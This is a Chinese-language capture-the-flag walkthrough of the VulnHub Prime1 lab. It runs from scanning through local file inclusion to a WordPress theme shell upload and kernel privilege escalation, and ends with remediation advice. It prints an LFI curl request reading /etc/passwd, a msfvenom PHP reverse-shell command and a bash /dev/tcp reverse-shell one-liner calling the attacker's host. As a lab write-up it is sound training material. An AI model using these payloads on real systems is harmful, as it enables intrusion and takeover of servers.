一、环境准备
靶场介绍:
这台机器是为那些试图准备OSCP或OSCP考试的人设计的。这是素数级数的第一级。每个阶段都会提供一些帮助。机器很长,因为OSCP和Hackthebox的机器都是经过设计的。
1.靶场下载网址:
https://www.vulnhub.com/
2.在虚拟机安装靶机,找到下载路径,拖进来即可。
二、主机发现和端口扫描
安装好环境后开始初步渗透,查看自己的kali ip,地址为192.168.127.129,通过c段扫描分析得到靶机IP为192.168.127.132。
ifconfig
nmap -sP 192.168.127.1/24
对靶机ip进行端口扫描,得到开放的端口22和80和它的服务版本信息。
nmap -A 192.168.127.132
看一下Apache 2.4版本有什么漏洞,这里是2.4.18版本,没有看到有漏洞。
searchspliot Apache 2.4
22端口用弱口令工具爆破一下看看,没有成功。转而看向80端口,一般先看一下80端口,因为这里只有两个端口,所以个人觉得哪个前后无所谓。
转而看向80端口,打开IP只有一张kali图片。
这一步思路是,第一下载图片看一下会不会有什么隐藏信息,第二目录爆破看看会有什么。
用wget命令下载后string命令把照片转成txt格式,再vim打开查看。
这里一般看头部尾部,没有什么重要信息。
三、目录爆破dirb
下载图片没有可用信息,接着目录爆破。
dirb http://192.168.127.132
出现4个不同目录文件,一个个访问过去看,第一步先访问dev,打开提示说你才刚刚开始。
第二访问index.php,没有变化,接着用.html,.asp等后缀测一下,可以判断出是用php编写。
第三访问worldpress,是worldpress博客,而且这里显示一个叫victor的用户名。
指定语言进一步继续爆破,寻找txt,php文件,一般这类文件中可能包含一些敏感信息, 这里注意参数是大写的‘X’。
dirb http://192.168.127.132/ -X .php,.txt
*左右滑动查看更多
继续逐个访问。
secret.txt有介绍。
可以用模糊测试来看一下php的页面,根据刚才爆破可知,有image.php和index.php,然后看到有location.txt,根据经验,感觉这是关于文件包含或者任意文件下载,上传等方面类型的漏洞,下面接着往这些方向测试。
四、FUZZ模糊测试
用提示的模糊测试去测试一下两个php页面,用wfuzz自带字典:
/usr/share/wfuzz/wordlist/general/common.txt,-w去指定它跑一遍。
先对image.php模糊测试看一下,结果如下:
这里的lines表示响应内容行数,word表示单词数,chars,响应内容字符个数;查看返回结果,chars相同一般可以不用看,无效信息,可根据情况用--hh/hc等来筛选掉,查看没有什么可疑文件。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.127.132/image.php?FUZZ
*左右滑动查看更多
仔细查看没有什么可疑文件,接着看index.php,看到一个payload:file。
访问看看,出现一行字,拿到一个错误文件。
五、文件包含(LFI)
结合刚刚过程访问看location.txt,下面出现了一些提示词,说做得不错并且拿到‘secrettier360’元素,并且在其他php页面登录看看。
以为是wordpress的密码,结果不是。
按照这个思路继续文件包含漏洞等相关进行测试。
为了方面查看,直接用curl命令查看:
curl http://192.168.127.132/image.php?secrettier360=/etc/passwd
*左右滑动查看更多
看头尾,看到password.txt文件在/home/saket中。
继续用curl查看passwd.txt文件,得到一串字符follow_the_ippsec,猜测是某个位置密码。
看这里有提示,输入发现不对。
根据前面测试流程看一下是不是worldpress密码,正确,成功进来。
在前面目录爆破查看的时候worldpress是有直接显示用户名出来,假如没有显示的话,可以用wpscan爆破一下会不会有用户名。
用wpscan爆破一下用户:
wpsacn --url http://192.168.127.132/wordpress --enumerate -u
--enumerate -u:枚举用户名
*左右滑动查看更多
发现victor用户:
接着返回刚刚已经进入的操作,浏览观看页面,发现secret.php可以写入。
六、内核提权
开始制作反弹shell,反弹shell的制作方法有很多,这里是worldpress,我们直接用msf生成一个php的反弹shell。
msfvenom:msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.127.129 LPORT=7777 -o shell.php
nc:bash -i >& /dev/tcp/192.168.127.129/7777 0>&1(也可以用一个linux nc方法)
*左右滑动查看更多
这里先用msfvenom生成一个。
生成成功后用cat命令读取内容,复制粘贴到worldpress并上传。
上传成功后,启动msfconsole:
use exploit/multi/handler 1.使用监听模块
set payload php/meterpreter_reverse_tcp 2.构造监听payload
set lhost 192.168.127.129 3.设置监听端ip
set lport 7777 4.设置监听端口
run/exploit 5.启动
*左右滑动查看更多
访问。这里的secret.php路径怎么找呢?第一个仔细查看网页中有页面提示,第二个就是学习了一下worldpress网站文件结构,php文件会放在worldpress/wp-content/themes/个人worldress名称/【.php文件】,然后访问回连。
http://192.168.127.132/wordpress/wp-content/themes/twentynineteen/secret.php
*左右滑动查看更多
一直连接不上,检查发现反弹shell出现点小差,经过重新生成成功监听。
进去之后才是真正的开始,也是这个靶场学习的重点。
getuid查看用户权限
sysinfo得到系统版本信息
启动msfconsole看一下ubuntu该版本有没有什么漏洞,结果如下:
因为靶机的内核版本是4.10.0-28,所以采用45010.c这个进行提权操作。
find / -name 45010.c
查找文件所在位置,找到后cp复制root文件下来。
*左右滑动查看更多
用gcc编译,-o优化选项,可以提高程序的执行效率。
因为目录不对几次不成功,这里编译要注意目录位置。
下一步把编译并得到可执行文件同meterpreter上传到靶机。
上传成功,这里45010路径跟kali权力权限一定得一样,这里搞了好久没传上,就因为这个。
启动shell,成功获取root权限。
七、总结及修复建议
总结:
整个靶场思路是从主机发现和端口扫描,访问web页面进行渗透分析,目录爆破发现存在敏感文件和wordpress登录入口等等信息,从文件泄露信息提示分析,发现存在本地文件包含漏洞,从而发现wordpress登录密码,接着在worldpresss测试发现themes主题出居然可以写入PHP文件,并暴露文件路径,到这一步直接写入反弹shell,反弹成功收集信息寻找提权点,最终发现内核版本较老,进过测试检验最终提权成功。
修复建议:
1.输入验证和过滤:始终对用户输入的数据进行严格的验证和过滤。确保输入数据符合预期的格式和内容,过滤掉特殊字符和敏感操作符。使用白名单机制,只允许特定的文件路径或文件名被包含。
2.文件路径限制:限制文件包含的范围,仅允许访问必要的文件和目录。避免使用用户可控的文件路径,而是使用固定的、事先定义好的路径。
3.文件权限设置:确保服务器上的文件和目录的权限设置正确。限制文件的读写权限,避免敏感文件被未授权的访问。
4.themes应禁止编辑php文件。
5.及时升级至最新版本。
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| vulnhub靶场之prime1学习
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论